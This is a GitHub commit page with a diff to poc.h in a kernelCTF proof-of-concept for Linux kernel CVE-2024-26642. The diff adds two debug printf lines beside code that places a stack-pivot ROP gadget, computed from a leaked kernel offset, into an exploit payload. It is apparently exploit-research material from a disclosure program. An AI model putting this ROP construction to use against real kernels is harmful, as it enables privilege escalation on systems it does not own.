Skip to content

Commit 1ca39a3

Browse files
committed
Solve comments
1 parent b9908ec commit 1ca39a3

File tree

2 files changed

+2
-1
lines changed
  • pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55

2 files changed

+2
-1
lines changed

pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/poc.h

+2-1
Original file line numberDiff line numberDiff line change
@@ -186,7 +186,8 @@ void setup_registers(struct payload* payload, int64_t kernel_off) {
186186
// the payload will be copied directly from the packet we send to trigger the payload
187187

188188
*(u64*)((u8*)rop_chain_rsi + 0xF) = pop_rsp_add_rsp_0x20_pop_rbx;//kernel_off + POP_RSP_ADD_RSP_0X20_POP_RBX_RET;
189-
189+
printf("%llx\n", pop_rsp_add_rsp_0x20_pop_rbx);
190+
printf("%llx\n", *(u64*)((u8*)rop_chain_rsi + 0xF));
190191
const u32* regs = rop_chain_rsi;
191192
int j = 0;
192193
for (int i = 0; i < 6; i++) {

0 commit comments

Comments
 (0)